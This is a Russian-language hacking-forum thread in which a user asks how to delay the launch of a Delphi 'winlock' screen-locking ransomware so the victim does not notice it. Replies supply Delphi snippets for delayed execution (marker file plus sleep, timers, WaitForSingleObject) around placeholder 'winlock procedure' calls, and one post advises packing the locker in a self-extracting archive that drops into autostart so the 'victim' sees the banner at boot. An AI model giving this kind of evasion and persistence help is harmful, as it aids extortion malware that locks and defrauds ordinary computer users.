Как сделать так, чтоб программа запускалась не сразу?
Michael_Troshin Дата: Воскресенье, 30.12.2012, 18:47 | Сообщение # 1
Был не раз
Зарегистрирован: 28.12.2012
Группа: Пользователи
Сообщений: 15
Статус: Offline
Как сделать так, чтоб винлок (Написанный на делфи) запускался через минут 20 после открытия?
link993 Дата: Воскресенье, 30.12.2012, 18:59 | Сообщение # 2
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
Все очень просто. Кидаешь на форму таймер, или ставишь sleep(); :3
Michael_Troshin Дата: Воскресенье, 30.12.2012, 19:04 | Сообщение # 3
Был не раз
Зарегистрирован: 28.12.2012
Группа: Пользователи
Сообщений: 15
Статус: Offline
Да я понимаю про таймер, но как его выставить так чтоб человек не заметил вирус пока тот не откроется,можно поконкретнее?
link993 Дата: Воскресенье, 30.12.2012, 19:58 | Сообщение # 4
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
Michael_Troshin , вот смотри. Я так понимаю, что тебе нужно чтоб первый запуск был через некоторое время, скажем минуту через 1 после запуска, а последующие запуски сразу после перезагрузки компьютера? Могу тебе предложить такой вариант. Человек запускает твою программу, программа проверяет есть ли определенный файл на диске (скажем файл time.txt), если этот файл есть, то, соответственно, вызываем процедуры винлока сразу, а если его нету, то создаем его и ждем 1 минуту, а потом выполняем процедуры винлока) Быдлокод by link993 :3 Код
procedure TForm1.FormCreate(Sender: TObject); Var f: TextFile; begin if FileExists('C:\time.txt') then begin ShowMessage('Тут вызываешь процедуру винлока!'); end else begin begin AssignFile (f, 'c:\time.txt'); Rewrite (f); WriteLn (f, 'Мой супер троянчик!'); CloseFile (f); end; sleep(60000); // 1 минута = 60000 милисекунд ShowMessage('Тут вызываешь процедуру винлока!'); end; end;
Вот собственно и все:3
Сообщение отредактировал link993 - Воскресенье, 30.12.2012, 20:00
Volf Дата: Четверг, 11.04.2013, 16:55 | Сообщение # 5
Частый гость
Зарегистрирован: 11.04.2013
Группа: Пользователи
Сообщений: 41
Статус: Offline
Указанный код выше повесит твое приложение и при длительном Sllep оно просто зависнет и не выполнится код. Использую эту оснастку Код
procedure timestop(time:integer); begin repeat sleep(time); until true; end;
Вызывай ее вот так Код
procedure TForm1.FormCreate(Sender: TObject); begin timestop(10000); end;
После запуска этого кода форма появится через 10 секунд. ОФФТОП Доступно только для пользователей
Сообщение отредактировал Volf - Четверг, 11.04.2013, 16:58
xXxSh@dowxXx Дата: Четверг, 11.04.2013, 17:14 | Сообщение # 6
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
ОФФТОП Доступно только для пользователей
ms301 Дата: Четверг, 11.04.2013, 17:23 | Сообщение # 7
Постоянный
Зарегистрирован: 28.11.2012
Группа: Пользователи
Сообщений: 101
Статус: Offline
метод говнокода но все же-делаешь невидимой форму. при создании формы запускаешь таймер. в событии онтаймер пишешь: my_form.visible:=true; timer.enabled:=false.
Volf Дата: Четверг, 11.04.2013, 20:00 | Сообщение # 8
Частый гость
Зарегистрирован: 11.04.2013
Группа: Пользователи
Сообщений: 41
Статус: Offline
Я пользуюсь браузером Firefox! Сорри что свой код указал без тегов!Регнулся сегодня.не разобрался что у вас к чему.
xXxSh@dowxXx Дата: Пятница, 12.04.2013, 12:01 | Сообщение # 9
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
ОФФТОП
Цитата (Volf )
АДМИНЫ! На форуме баг! Если создать любое сообщение,а затем в браузере нажать стрелку "назад" то сообщение добавится еще раз!!!
странно, проверил, ничего такого у меня не наблюдается.
Цитата (Volf )
Я пользуюсь браузером Firefox!
Аналогично.
PS: Спасибо Администраторам\Модераторам за внимание
Сообщение отредактировал xXxSh@dowxXx - Пятница, 12.04.2013, 12:02
akatew Дата: Пятница, 02.01.2015, 20:57 | Сообщение # 10
Был не раз
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 17
Статус: Offline
Лучше добавь в Автозагрзку. Советую винлок добавить в самораспоковующий архив и распаковался в автозагрузку, и жертва комп включет, а там банер.
Volf Дата: Пятница, 02.01.2015, 21:57 | Сообщение # 11
Частый гость
Зарегистрирован: 11.04.2013
Группа: Пользователи
Сообщений: 41
Статус: Offline
akatew ты видел дату последнего сообщения?Зачем поднимать такие старые темы.
Neo Дата: Суббота, 03.01.2015, 09:15 | Сообщение # 12
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
Цитата Michael_Troshin (
)
Как сделать так, чтоб винлок (Написанный на делфи) запускался через минут 20 после открытия?
Юзай WinApi! Тогда хоть на Delphi,Хоть на C++, хоть на АSM!!! Код
Var descr: DWORD; begin descr:=OpenProcess(PROCESS_ALL_ACCESS,false,GetCurrentProcessId); WaitForSingleObject(descr,5*1000); ждём 5 секунд MessageBox(Handle,'asdasd','asdasd',0); CloseHandle(descr); end;
C@T Дата: Суббота, 03.01.2015, 16:25 | Сообщение # 13
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
Цитата Neo (
)
Юзай WinApi! Тогда хоть на Delphi,Хоть на C++, хоть на АSM!!!
Sleep тоже WinAPI
Neo Дата: Суббота, 03.01.2015, 18:00 | Сообщение # 14
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
C@T , Ну так-то да)
Android Дата: Четверг, 29.12.2016, 14:41 | Сообщение # 15
Постоянный
Зарегистрирован: 13.12.2011
Группа: Пользователи
Сообщений: 100
Статус: Offline
for i := 0 to Kolvo_Secund do begin Sleep(1000); Application.ProcessMessages; end;